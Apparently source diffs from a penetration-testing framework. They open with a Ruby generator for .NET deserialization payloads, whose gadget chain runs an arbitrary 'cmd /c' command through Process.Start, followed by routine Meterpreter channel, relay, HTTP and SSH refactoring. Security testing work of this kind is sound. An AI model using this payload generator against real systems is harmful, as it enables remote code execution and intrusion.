# see: https://github.com/microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/mscorlib/system/io/binaryreader.cs#L582
|
||||
encoded_int = []
|
||||
while int > 0
|
||||
value = int & 0x7f
|
||||
int >>= 7
|
||||
value |= 0x80 if int > 0
|
||||
encoded_int << value
|
||||
end
|
||||
return encoded_int.pack('C*')
|
||||
end
|
||||
|
||||
#
|
||||
# .NET Serialization Enumerations
|
||||
#
|
||||
BinaryTypeEnum = {
|
||||
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/054e5c58-be21-4c86-b1c3-f6d3ce17ec72
|
||||
:Primitive => 0,
|
||||
:String => 1,
|
||||
:Object => 2,
|
||||
:SystemClass => 3,
|
||||
:Class => 4,
|
||||
:ObjectArray => 5,
|
||||
:StringArray => 6,
|
||||
:PrimitiveArray => 7
|
||||
}
|
||||
|
||||
RecordTypeEnum = {
|
||||
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/954a0657-b901-4813-9398-4ec732fe8b32
|
||||
:SerializedStreamHeader => 0,
|
||||
:ClassWithId => 1,
|
||||
:SystemClassWithMembers => 2,
|
||||
:ClassWithMembers => 3,
|
||||
:SystemClassWithMembersAndTypes => 4,
|
||||
:ClassWithMembersAndTypes => 5,
|
||||
:BinaryObjectString => 6,
|
||||
:BinaryArray => 7,
|
||||
:MemberPrimitiveTyped => 8,
|
||||
:MemberReference => 9,
|
||||
:ObjectNull => 10,
|
||||
:MessageEnd => 11,
|
||||
:BinaryLibrary => 12,
|
||||
:ObjectNullMultiple256 => 13,
|
||||
:ObjectNullMultiple => 14,
|
||||
:ArraySinglePrimitive => 15,
|
||||
:ArraySingleObject => 16,
|
||||
:ArraySingleString => 17,
|
||||
:MethodCall => 21,
|
||||
:MethodReturn => 22
|
||||
}
|
||||
|
||||
#
|
||||
# .NET Serialization Types
|
||||
#
|
||||
class LengthPrefixedString < BinData::BasePrimitive
|
||||
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/10b218f5-9b2b-4947-b4b7-07725a2c8127
|
||||
def assign(val)
|
||||
super(binary_string(val))
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def value_to_binary_string(string)
|
||||
return DotNetDeserialization.encode_7bit_int(string.length) + string
|
||||
end
|
||||
|
||||
def read_and_return_value(io)
|
||||
# see: https://github.com/microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/mscorlib/system/io/binaryreader.cs#L582
|
||||
count = 0
|
||||
shift = 0
|
||||
# todo: finish this implementation
|
||||
loop do |i|
|
||||
if shift == 5 * 7
|
||||
raise Msf::Exception('The value exceeds the 5 byte limit for 7-bit encoded integers')
|
||||
end
|
||||
ch = io.readbytes(1).unpack('C')[0]
|
||||
count |= (ch & 0x7f) << shift
|
||||
shift += 7
|
||||
break if (ch & 0x80) == 0
|
||||
end
|
||||
|
||||
io.readbytes(count)
|
||||
end
|
||||
|
||||
def sensible_default
|
||||
""
|
||||
end
|
||||
end
|
||||
|
||||
class BinaryLibrary < BinData::Record
|
||||
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/7fcf30e1-4ad4-4410-8f1a-901a4a1ea832
|
||||
endian :little
|
||||
hide :record_type
|
||||
uint8 :record_type, :asserted_value => RecordTypeEnum[:BinaryLibrary]
|
||||
int32 :library_id
|
||||
length_prefixed_string :library_name
|
||||
end
|
||||
|
||||
class BinaryObjectString < BinData::Record
|
||||
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/eb503ca5-e1f6-4271-a7ee-c4ca38d07996
|
||||
endian :little
|
||||
hide :record_type
|
||||
uint8 :record_type, :asserted_value => RecordTypeEnum[:BinaryObjectString]
|
||||
int32 :obj_id
|
||||
length_prefixed_string :string
|
||||
end
|
||||
|
||||
class ClassInfo < BinData::Record
|
||||
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/0a192be0-58a1-41d0-8a54-9c91db0ab7bf
|
||||
endian :little
|
||||
int32 :obj_id
|
||||
length_prefixed_string :name
|
||||
int32 :member_count, :value => lambda { member_names.length }
|
||||
array :member_names, :type => :length_prefixed_string, :read_until => lambda { index == member_count - 1 }
|
||||
end
|
||||
|
||||
class MemberTypeInfo < BinData::Record
|
||||
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/aa509b5a-620a-4592-a5d8-7e9613e0a03e
|
||||
endian :little
|
||||
array :binary_type_enums, :type => :uint8
|
||||
#??? : member_type_info # this field is not supported, it's only used if binary_type_enums contains
|
||||
# Primitive, SystemClass, Class, or PrimitiveArray
|
||||
virtual :valid, :assert => lambda {
|
||||
(!binary_type_enums.include? BinaryTypeEnum[:Primitive]) \
|
||||
&& (!binary_type_enums.include? BinaryTypeEnum[:SystemClass]) \
|
||||
&& (!binary_type_enums.include? BinaryTypeEnum[:Class]) \
|
||||
&& (!binary_type_enums.include? BinaryTypeEnum[:PrimitiveArray])
|
||||
}
|
||||
virtual :assert => lambda { valid.assert! }
|
||||
end
|
||||
|
||||
class MessageEnd < BinData::Record
|
||||
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/de6a574b-c596-4d83-9df7-63c0077acd32
|
||||
endian :little
|
||||
hide :record_type
|
||||
uint8 :record_type, :asserted_value => RecordTypeEnum[:MessageEnd]
|
||||
end
|
||||
|
||||
class ClassWithMembersAndTypes < BinData::Record
|
||||
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/847b0b6a-86af-4203-8ed0-f84345f845b9
|
||||
endian :little
|
||||
hide :record_type
|
||||
uint8 :record_type, :asserted_value => RecordTypeEnum[:ClassWithMembersAndTypes]
|
||||
class_info :class_info
|
||||
member_type_info :member_type_info
|
||||
int32 :library_id
|
||||
virtual :valid, :assert => lambda {
|
||||
member_type_info.valid.assert!
|
||||
}
|
||||
virtual :assert => lambda { valid.assert! }
|
||||
end
|
||||
|
||||
class SerializationHeaderRecord < BinData::Record
|
||||
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrbf/a7e578d3-400a-4249-9424-7529d10d1b3c
|
||||
endian :little
|
||||
default_parameter major_version: 1
|
||||
default_parameter minor_version: 0
|
||||
hide :record_type
|
||||
uint8 :record_type, :asserted_value => RecordTypeEnum[:SerializedStreamHeader]
|
||||
int32 :root_id
|
||||
int32 :header_id
|
||||
int32 :major_version, :initial_value => :major_version
|
||||
int32 :minor_version, :initial_value => :minor_version
|
||||
end
|
||||
|
||||
class ObjectStateFormatter < BinData::Record
|
||||
# see: https://github.com/microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/System.Web/UI/ObjectStateFormatter.cs
|
||||
endian :little
|
||||
default_parameter marker_format: 0xff
|
||||
default_parameter marker_version: 1
|
||||
hide :marker_format, :marker_version
|
||||
uint8 :marker_format, :initial_value => :marker_format
|
||||
uint8 :marker_version, :initial_value => :marker_version
|
||||
uint8 :token
|
||||
end
|
||||
|
||||
#
|
||||
# Generation Methods
|
||||
#
|
||||
|
||||
# Generates a .NET deserialization payload for the specified OS command using
|
||||
# a selected gadget-chain and formatter combination.
|
||||
#
|
||||
# @param cmd [String] The OS command to execute.
|
||||
# @param gadget_chain [Symbol] The gadget chain to use for execution. This
|
||||
# will be application specific.
|
||||
# @param formatter [Symbol] An optional formatter to use to encapsulate the
|
||||
# gadget chain.
|
||||
# @return [String]
|
||||
def self.generate(cmd, gadget_chain: DEFAULT_GADGET_CHAIN, formatter: DEFAULT_FORMATTER)
|
||||
serialized = self.generate_gadget_chain(cmd, gadget_chain: gadget_chain)
|
||||
serialized = self.generate_formatted(serialized, formatter: formatter) unless formatter.nil?
|
||||
serialized
|
||||
end
|
||||
|
||||
# Take the specified serialized blob and encapsulate it with the specified
|
||||
# formatter.
|
||||
#
|
||||
# @param formatter [Symbol] The formatter to use to encapsulate the serialized
|
||||
# data blob.
|
||||
# @return [String]
|
||||
def self.generate_formatted(serialized, formatter: DEFAULT_FORMATTER)
|
||||
case formatter
|
||||
when :LosFormatter
|
||||
# token: Token_BinarySerialized
|
||||
formatted = ObjectStateFormatter.new(token: 50).to_binary_s
|
||||
formatted << encode_7bit_int(serialized.length)
|
||||
formatted << serialized
|
||||
else
|
||||
raise NotImplementedError, 'The specified formatter is not implemented'
|
||||
end
|
||||
|
||||
formatted
|
||||
end
|
||||
|
||||
# Generate a serialized data blob using the specified gadget chain to execute
|
||||
# the OS command. The chosen gadget chain must be compatible with the target
|
||||
# application.
|
||||
#
|
||||
# @param gadget_chain [Symbol] The gadget chain to use for execution.
|
||||
# @return [String]
|
||||
def self.generate_gadget_chain(cmd, gadget_chain: DEFAULT_GADGET_CHAIN)
|
||||
case gadget_chain
|
||||
when :TextFormattingRunProperties
|
||||
# see: https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Generators/TextFormattingRunPropertiesGenerator.cs
|
||||
resource_dictionary = Nokogiri::XML(<<-EOS, nil, nil, options=Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
|
||||
<ResourceDictionary
|
||||
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
|
||||
xmlns:X="http://schemas.microsoft.com/winfx/2006/xaml"
|
||||
xmlns:S="clr-namespace:System;assembly=mscorlib"
|
||||
xmlns:D="clr-namespace:System.Diagnostics;assembly=system"
|
||||
>
|
||||
<ObjectDataProvider X:Key="" ObjectType="{X:Type D:Process}" MethodName="Start">
|
||||
<ObjectDataProvider.MethodParameters>
|
||||
<S:String>cmd</S:String>
|
||||
<S:String>/c #{cmd.encode(:xml => :text)}</S:String>
|
||||
</ObjectDataProvider.MethodParameters>
|
||||
</ObjectDataProvider>
|
||||
</ResourceDictionary>
|
||||
EOS
|
||||
resource_dictionary = resource_dictionary
|
||||
|
||||
library = BinaryLibrary.new(
|
||||
library_id: 2,
|
||||
library_name: "Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
|
||||
)
|
||||
|
||||
serialized = SerializationHeaderRecord.new(root_id: 1, header_id: -1).to_binary_s
|
||||
serialized << library.to_binary_s
|
||||
serialized << ClassWithMembersAndTypes.new(
|
||||
class_info: ClassInfo.new(
|
||||
obj_id: 1,
|
||||
name: 'Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties',
|
||||
member_names: ['ForegroundBrush']
|
||||
),
|
||||
member_type_info: MemberTypeInfo.new(
|
||||
binary_type_enums: [BinaryTypeEnum[:String]]
|
||||
),
|
||||
library_id: library.library_id
|
||||
).to_binary_s
|
||||
serialized << BinaryObjectString.new(
|
||||
obj_id: 3,
|
||||
string: resource_dictionary
|
||||
).to_binary_s
|
||||
serialized << MessageEnd.new.to_binary_s
|
||||
else
|
||||
raise NotImplementedError, 'The specified gadget chain is not implemented'
|
||||
end
|
||||
|
||||
serialized
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -93,6 +93,9 @@ class Connection
|
||||
|
||||
@conn << PasswordMessage.new(m).dump
|
||||
|
||||
when UnknownAuthType
|
||||
raise "unknown auth type '#{msg.auth_type}' with buffer content:\n#{Rex::Text.to_hex_dump(msg.buffer.content)}"
|
||||
|
||||
when AuthentificationKerberosV4, AuthentificationKerberosV5, AuthentificationSCMCredential
|
||||
raise "unsupported authentification"
|
||||
|
||||
|
||||
@@ -105,11 +105,15 @@ end
|
||||
class Authentification < Message
|
||||
register_message_type 'R'
|
||||
|
||||
AuthTypeMap = Hash.new { UnknownAuthType }
|
||||
AuthTypeMap = {}
|
||||
|
||||
def self.create(buffer)
|
||||
buffer.position = 5
|
||||
authtype = buffer.read_int32_network
|
||||
unless AuthTypeMap.key? authtype
|
||||
return UnknownAuthType.new(authtype, buffer)
|
||||
end
|
||||
|
||||
klass = AuthTypeMap[authtype]
|
||||
obj = klass.allocate
|
||||
obj.parse(buffer)
|
||||
@@ -142,6 +146,13 @@ class Authentification < Message
|
||||
end
|
||||
|
||||
class UnknownAuthType < Authentification
|
||||
attr_reader :auth_type
|
||||
attr_reader :buffer
|
||||
|
||||
def initialize(auth_type, buffer)
|
||||
@auth_type = auth_type
|
||||
@buffer = buffer
|
||||
end
|
||||
end
|
||||
|
||||
class AuthentificationOk < Authentification
|
||||
|
||||
@@ -45,7 +45,6 @@ CHANNEL_DIO_CLOSE = 'close'
|
||||
#
|
||||
###
|
||||
class Channel
|
||||
|
||||
# Class modifications to support global channel message
|
||||
# dispatching without having to register a per-instance handler
|
||||
class << self
|
||||
@@ -94,7 +93,7 @@ class Channel
|
||||
# based on a given type.
|
||||
#
|
||||
def Channel.create(client, type = nil, klass = nil,
|
||||
flags = CHANNEL_FLAG_SYNCHRONOUS, addends = nil)
|
||||
flags = CHANNEL_FLAG_SYNCHRONOUS, addends = nil, **klass_kwargs)
|
||||
request = Packet.create_request('core_channel_open')
|
||||
|
||||
# Set the type of channel that we're allocating
|
||||
@@ -109,7 +108,7 @@ class Channel
|
||||
|
||||
request.add_tlv(TLV_TYPE_CHANNEL_CLASS, klass.cls)
|
||||
request.add_tlv(TLV_TYPE_FLAGS, flags)
|
||||
request.add_tlvs(addends);
|
||||
request.add_tlvs(addends)
|
||||
|
||||
# Transmit the request and wait for the response
|
||||
cid = nil
|
||||
@@ -122,7 +121,7 @@ class Channel
|
||||
end
|
||||
|
||||
# Create the channel instance
|
||||
klass.new(client, cid, type, flags)
|
||||
klass.new(client, cid, type, flags, response, **klass_kwargs)
|
||||
end
|
||||
|
||||
##
|
||||
@@ -135,7 +134,7 @@ class Channel
|
||||
# Initializes the instance's attributes, such as client context,
|
||||
# class identifier, type, and flags.
|
||||
#
|
||||
def initialize(client, cid, type, flags)
|
||||
def initialize(client, cid, type, flags, packet, **_)
|
||||
self.client = client
|
||||
self.cid = cid
|
||||
self.type = type
|
||||
|
||||
@@ -37,8 +37,8 @@ class Pool < Rex::Post::Meterpreter::Channel
|
||||
#
|
||||
# Passes the initialization information up to the base class
|
||||
#
|
||||
def initialize(client, cid, type, flags)
|
||||
super(client, cid, type, flags)
|
||||
def initialize(client, cid, type, flags, packet, **_)
|
||||
super(client, cid, type, flags, packet)
|
||||
end
|
||||
|
||||
##
|
||||
|
||||
@@ -31,18 +31,18 @@ class File < Rex::Post::Meterpreter::Channels::Pool
|
||||
# from, written to, seeked on, and other interacted with.
|
||||
#
|
||||
def File.open(client, name, mode = "r", perm = 0)
|
||||
return Channel.create(client, 'stdapi_fs_file',
|
||||
self, CHANNEL_FLAG_SYNCHRONOUS,
|
||||
[
|
||||
{
|
||||
'type' => Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_FILE_PATH,
|
||||
'value' => client.unicode_filter_decode( name )
|
||||
},
|
||||
{
|
||||
'type' => Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_FILE_MODE,
|
||||
'value' => mode + "b"
|
||||
},
|
||||
])
|
||||
Channel.create(client, 'stdapi_fs_file',
|
||||
self, CHANNEL_FLAG_SYNCHRONOUS,
|
||||
[
|
||||
{
|
||||
'type' => Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_FILE_PATH,
|
||||
'value' => client.unicode_filter_decode( name )
|
||||
},
|
||||
{
|
||||
'type' => Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_FILE_MODE,
|
||||
'value' => mode + "b"
|
||||
},
|
||||
])
|
||||
end
|
||||
|
||||
##
|
||||
@@ -52,8 +52,8 @@ class File < Rex::Post::Meterpreter::Channels::Pool
|
||||
##
|
||||
|
||||
# Initializes the file channel instance
|
||||
def initialize(client, cid, type, flags)
|
||||
super(client, cid, type, flags)
|
||||
def initialize(client, cid, type, flags, packet, **_)
|
||||
super(client, cid, type, flags, packet)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -33,8 +33,8 @@ class StreamPool < Rex::Post::Meterpreter::Channels::Pool
|
||||
##
|
||||
|
||||
# Initializes the file channel instance
|
||||
def initialize(client, cid, type, flags)
|
||||
super(client, cid, type, flags)
|
||||
def initialize(client, cid, type, flags, packet, **_)
|
||||
super(client, cid, type, flags, packet)
|
||||
|
||||
initialize_abstraction
|
||||
end
|
||||
|
||||
@@ -86,13 +86,13 @@ module SocketAbstraction
|
||||
#
|
||||
# Passes the initialization information up to the base class
|
||||
#
|
||||
def initialize(client, cid, type, flags)
|
||||
def initialize(client, cid, type, flags, packet, **_)
|
||||
# sf: initialize_abstraction() before super() as we can get a scenario where dio_write_handler() is called
|
||||
# with data to write to the rsock but rsock has not yet been initialized. This happens if the channel
|
||||
# is registered (client.add_channel(self) in Channel.initialize) to a session and a 'core_channel_write'
|
||||
# request comes in before we have called self.initialize_abstraction()
|
||||
initialize_abstraction
|
||||
super(client, cid, type, flags)
|
||||
super(client, cid, type, flags, packet)
|
||||
end
|
||||
|
||||
##
|
||||
|
||||
@@ -25,6 +25,13 @@ module Net
|
||||
#
|
||||
###
|
||||
class Socket
|
||||
TLV_PARAM_MAP = {
|
||||
TLV_TYPE_CONNECT_RETRIES => 'Retries',
|
||||
TLV_TYPE_LOCAL_HOST => 'LocalHost',
|
||||
TLV_TYPE_LOCAL_PORT => 'LocalPort',
|
||||
TLV_TYPE_PEER_HOST => 'PeerHost',
|
||||
TLV_TYPE_PEER_PORT => 'PeerPort'
|
||||
}
|
||||
|
||||
##
|
||||
#
|
||||
@@ -52,6 +59,20 @@ class Socket
|
||||
client.deregister_inbound_handler(Rex::Post::Meterpreter::Extensions::Stdapi::Net::SocketSubsystem::TcpServerChannel)
|
||||
end
|
||||
|
||||
#
|
||||
# Process a response packet and extract TLVs that are relevant for updating
|
||||
# socket parameters.
|
||||
#
|
||||
def self.parameters_from_response(response)
|
||||
params = {}
|
||||
TLV_PARAM_MAP.each do |tlv_type, param_key|
|
||||
value = response.get_tlv_value(tlv_type)
|
||||
next if value.nil?
|
||||
params[param_key] = value
|
||||
end
|
||||
Rex::Socket::Parameters.from_hash(params)
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Factory
|
||||
|
||||
+9
-8
@@ -33,7 +33,7 @@ class TcpClientChannel < Rex::Post::Meterpreter::Stream
|
||||
# Opens a TCP client channel using the supplied parameters.
|
||||
#
|
||||
def TcpClientChannel.open(client, params)
|
||||
c = Channel.create(client, 'stdapi_net_tcp_client', self, CHANNEL_FLAG_SYNCHRONOUS,
|
||||
Channel.create(client, 'stdapi_net_tcp_client', self, CHANNEL_FLAG_SYNCHRONOUS,
|
||||
[
|
||||
{
|
||||
'type' => TLV_TYPE_PEER_HOST,
|
||||
@@ -55,11 +55,9 @@ class TcpClientChannel < Rex::Post::Meterpreter::Stream
|
||||
'type' => TLV_TYPE_CONNECT_RETRIES,
|
||||
'value' => params.retries
|
||||
}
|
||||
])
|
||||
if c
|
||||
c.params = params
|
||||
end
|
||||
c
|
||||
],
|
||||
sock_params: params
|
||||
)
|
||||
end
|
||||
|
||||
##
|
||||
@@ -71,8 +69,8 @@ class TcpClientChannel < Rex::Post::Meterpreter::Stream
|
||||
#
|
||||
# Passes the channel initialization information up to the base class.
|
||||
#
|
||||
def initialize(client, cid, type, flags)
|
||||
super(client, cid, type, flags)
|
||||
def initialize(client, cid, type, flags, packet, sock_params: nil)
|
||||
super(client, cid, type, flags, packet)
|
||||
|
||||
lsock.extend(SocketInterface)
|
||||
lsock.extend(DirectChannelWrite)
|
||||
@@ -81,6 +79,9 @@ class TcpClientChannel < Rex::Post::Meterpreter::Stream
|
||||
rsock.extend(SocketInterface)
|
||||
rsock.channel = self
|
||||
|
||||
unless sock_params.nil?
|
||||
@params = sock_params.merge(Socket.parameters_from_response(packet))
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
+12
-17
@@ -38,10 +38,6 @@ class TcpServerChannel < Rex::Post::Meterpreter::Channel
|
||||
|
||||
cid = packet.get_tlv_value( TLV_TYPE_CHANNEL_ID )
|
||||
pid = packet.get_tlv_value( TLV_TYPE_CHANNEL_PARENTID )
|
||||
localhost = packet.get_tlv_value( TLV_TYPE_LOCAL_HOST )
|
||||
localport = packet.get_tlv_value( TLV_TYPE_LOCAL_PORT )
|
||||
peerhost = packet.get_tlv_value( TLV_TYPE_PEER_HOST )
|
||||
peerport = packet.get_tlv_value( TLV_TYPE_PEER_PORT )
|
||||
|
||||
return false if cid.nil? || pid.nil?
|
||||
|
||||
@@ -52,17 +48,11 @@ class TcpServerChannel < Rex::Post::Meterpreter::Channel
|
||||
params = Rex::Socket::Parameters.from_hash(
|
||||
{
|
||||
'Proto' => 'tcp',
|
||||
'LocalHost' => localhost,
|
||||
'LocalPort' => localport,
|
||||
'PeerHost' => peerhost,
|
||||
'PeerPort' => peerport,
|
||||
'Comm' => server_channel.client
|
||||
}
|
||||
)
|
||||
|
||||
client_channel = TcpClientChannel.new(client, cid, TcpClientChannel, CHANNEL_FLAG_SYNCHRONOUS)
|
||||
|
||||
client_channel.params = params
|
||||
client_channel = TcpClientChannel.new(client, cid, TcpClientChannel, CHANNEL_FLAG_SYNCHRONOUS, packet, {:sock_params => params})
|
||||
|
||||
@@server_channels[server_channel] ||= ::Queue.new
|
||||
@@server_channels[server_channel].enq(client_channel)
|
||||
@@ -79,22 +69,27 @@ class TcpServerChannel < Rex::Post::Meterpreter::Channel
|
||||
#
|
||||
# @return [Channel]
|
||||
def self.open(client, params)
|
||||
c = Channel.create(client, 'stdapi_net_tcp_server', self, CHANNEL_FLAG_SYNCHRONOUS,
|
||||
Channel.create(client, 'stdapi_net_tcp_server', self, CHANNEL_FLAG_SYNCHRONOUS,
|
||||
[
|
||||
{'type' => TLV_TYPE_LOCAL_HOST, 'value' => params.localhost},
|
||||
{'type' => TLV_TYPE_LOCAL_PORT, 'value' => params.localport}
|
||||
] )
|
||||
c.params = params
|
||||
c
|
||||
],
|
||||
sock_params: params
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
# Simply initialize this instance.
|
||||
#
|
||||
def initialize(client, cid, type, flags)
|
||||
super(client, cid, type, flags)
|
||||
def initialize(client, cid, type, flags, packet, sock_params: nil)
|
||||
super(client, cid, type, flags, packet)
|
||||
|
||||
# add this instance to the class variables dictionary of tcp server channels
|
||||
@@server_channels[self] ||= ::Queue.new
|
||||
|
||||
unless sock_params.nil?
|
||||
@params = sock_params.merge(Socket.parameters_from_response(packet))
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -35,34 +35,34 @@ class UdpChannel < Rex::Post::Meterpreter::Datagram
|
||||
#
|
||||
# @return [Channel]
|
||||
def self.open(client, params)
|
||||
c = Channel.create(client, 'stdapi_net_udp_client', self, CHANNEL_FLAG_SYNCHRONOUS,
|
||||
Channel.create(client, 'stdapi_net_udp_client', self, CHANNEL_FLAG_SYNCHRONOUS,
|
||||
[
|
||||
{
|
||||
'type' => TLV_TYPE_LOCAL_HOST,
|
||||
'value' => params.localhost
|
||||
},
|
||||
{
|
||||
'type' => TLV_TYPE_LOCAL_PORT,
|
||||
'value' => params.localport
|
||||
},
|
||||
{
|
||||
'type' => TLV_TYPE_PEER_HOST,
|
||||
'value' => params.peerhost
|
||||
},
|
||||
{
|
||||
'type' => TLV_TYPE_PEER_PORT,
|
||||
'value' => params.peerport
|
||||
}
|
||||
] )
|
||||
c.params = params
|
||||
c
|
||||
{
|
||||
'type' => TLV_TYPE_LOCAL_HOST,
|
||||
'value' => params.localhost
|
||||
},
|
||||
{
|
||||
'type' => TLV_TYPE_LOCAL_PORT,
|
||||
'value' => params.localport
|
||||
},
|
||||
{
|
||||
'type' => TLV_TYPE_PEER_HOST,
|
||||
'value' => params.peerhost
|
||||
},
|
||||
{
|
||||
'type' => TLV_TYPE_PEER_PORT,
|
||||
'value' => params.peerport
|
||||
}
|
||||
],
|
||||
sock_params: params
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
# Simply initialize this instance.
|
||||
#
|
||||
def initialize(client, cid, type, flags)
|
||||
super(client, cid, type, flags)
|
||||
def initialize(client, cid, type, flags, packet, sock_params: nil)
|
||||
super(client, cid, type, flags, packet)
|
||||
|
||||
lsock.extend(Rex::Socket::Udp)
|
||||
lsock.initsock
|
||||
@@ -74,6 +74,9 @@ class UdpChannel < Rex::Post::Meterpreter::Datagram
|
||||
rsock.extend(SocketInterface)
|
||||
rsock.channel = self
|
||||
|
||||
unless sock_params.nil?
|
||||
@params = sock_params.merge(Socket.parameters_from_response(packet))
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -463,11 +463,12 @@ class Console::CommandDispatcher::Stdapi::Net
|
||||
)
|
||||
|
||||
# Start the local TCP reverse relay in association with this stream
|
||||
service.start_reverse_tcp_relay(channel,
|
||||
'LocalPort' => rport,
|
||||
relay = service.start_reverse_tcp_relay(channel,
|
||||
'LocalPort' => channel.params.localport,
|
||||
'PeerHost' => lhost,
|
||||
'PeerPort' => lport,
|
||||
'MeterpreterRelay' => true)
|
||||
rport = relay.opts['LocalPort']
|
||||
rescue Exception => e
|
||||
print_error("Failed to create relay: #{e.to_s}")
|
||||
return false
|
||||
@@ -481,12 +482,13 @@ class Console::CommandDispatcher::Stdapi::Net
|
||||
end
|
||||
|
||||
# Start the local TCP relay in association with this stream
|
||||
service.start_tcp_relay(lport,
|
||||
relay = service.start_tcp_relay(lport,
|
||||
'LocalHost' => lhost,
|
||||
'PeerHost' => rhost,
|
||||
'PeerPort' => rport,
|
||||
'MeterpreterRelay' => true,
|
||||
'OnLocalConnection' => Proc.new { |relay, lfd| create_tcp_channel(relay) })
|
||||
lport = relay.opts['LocalPort']
|
||||
end
|
||||
|
||||
print_status("Local TCP relay created: #{lhost}:#{lport} <-> #{rhost}:#{rport}")
|
||||
|
||||
@@ -42,7 +42,7 @@ class Client
|
||||
|
||||
# XXX: This info should all be controlled by ClientRequest
|
||||
self.config_types = {
|
||||
'uri_encode_mode' => ['hex-normal', 'hex-all', 'hex-random', 'u-normal', 'u-random', 'u-all'],
|
||||
'uri_encode_mode' => ['hex-normal', 'hex-all', 'hex-random', 'hex-noslashes', 'u-normal', 'u-random', 'u-all'],
|
||||
'uri_encode_count' => 'integer',
|
||||
'uri_full_url' => 'bool',
|
||||
'pad_method_uri_count' => 'integer',
|
||||
|
||||
@@ -90,8 +90,7 @@ class ClientRequest
|
||||
@opts['headers'] ||= {}
|
||||
end
|
||||
|
||||
def to_s
|
||||
|
||||
def to_s(headers_only: false)
|
||||
# Start GET query string
|
||||
qstr = opts['query'] ? opts['query'].dup : ""
|
||||
|
||||
@@ -202,7 +201,9 @@ class ClientRequest
|
||||
req << set_content_len_header(pstr.length)
|
||||
req << set_chunked_header
|
||||
req << opts['raw_headers']
|
||||
req << set_body(pstr)
|
||||
req << set_body(pstr) unless headers_only
|
||||
|
||||
req
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
@@ -166,22 +166,22 @@ class Packet
|
||||
#
|
||||
# Outputs a readable string of the packet for terminal output
|
||||
#
|
||||
def to_terminal_output
|
||||
output_packet(true)
|
||||
def to_terminal_output(headers_only: false)
|
||||
output_packet(true, headers_only: headers_only)
|
||||
end
|
||||
|
||||
#
|
||||
# Converts the packet to a string.
|
||||
#
|
||||
def to_s
|
||||
output_packet(false)
|
||||
def to_s(headers_only: false)
|
||||
output_packet(false, headers_only: headers_only)
|
||||
end
|
||||
|
||||
#
|
||||
# Converts the packet to a string.
|
||||
# If ignore_chunk is set the chunked encoding is omitted (for pretty print)
|
||||
#
|
||||
def output_packet(ignore_chunk=false)
|
||||
def output_packet(ignore_chunk = false, headers_only: false)
|
||||
content = self.body.to_s.dup
|
||||
|
||||
# Update the content length field in the header with the body length.
|
||||
@@ -220,7 +220,9 @@ class Packet
|
||||
end
|
||||
|
||||
str = self.headers.to_s(cmd_string)
|
||||
str += content || ''
|
||||
str += content || '' unless headers_only
|
||||
|
||||
str
|
||||
end
|
||||
|
||||
#
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
# encoding: binary
|
||||
|
||||
# SSH server support
|
||||
require 'rex/proto/ssh/server'
|
||||
@@ -0,0 +1,340 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'rex/proto/ssh/hrr_rb_ssh'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Ssh
|
||||
|
||||
##
|
||||
# Whitelist-based access control scaffold
|
||||
##
|
||||
module AccessControlList
|
||||
|
||||
#
|
||||
# Add permitted access control entry to access control list
|
||||
# Create ACL if it does not yet exist
|
||||
#
|
||||
# @param host [String] Host/hostname for which to grant access
|
||||
# @param port [Integer] Port for which to grant access
|
||||
# @param bind [TrueClass,FalseClass] Whether this ACE is for servers
|
||||
#
|
||||
def permit=(host, port, bind = false)
|
||||
@acl ||= { bind:[], connect:[] }
|
||||
unless permit?(host, port, bind)
|
||||
@acl[ bind ? :bind : :connect ] << "#{host}:#{port}"
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Delete permitted access control entry from access control list
|
||||
#
|
||||
# @param host [String] Host/hostname for which to grant access
|
||||
# @param port [Integer] Port for which to grant access
|
||||
# @param bind [TrueClass,FalseClass] Whether this ACE is for servers
|
||||
#
|
||||
def deny=(host, port, bind = false)
|
||||
@acl[ bind ? :bind : :connect ].select! do |ent|
|
||||
ent != "#{host}:#{port}"
|
||||
end if @acl
|
||||
end
|
||||
|
||||
#
|
||||
# Check if access control entry exists in access control list
|
||||
#
|
||||
# @param host [String] Host/hostname for which to check access
|
||||
# @param port [Integer] Port for which to check access
|
||||
# @param bind [TrueClass,FalseClass] Whether this ACE is for servers
|
||||
#
|
||||
# @return [TrueClass,FalseClass] Permission boolean for access
|
||||
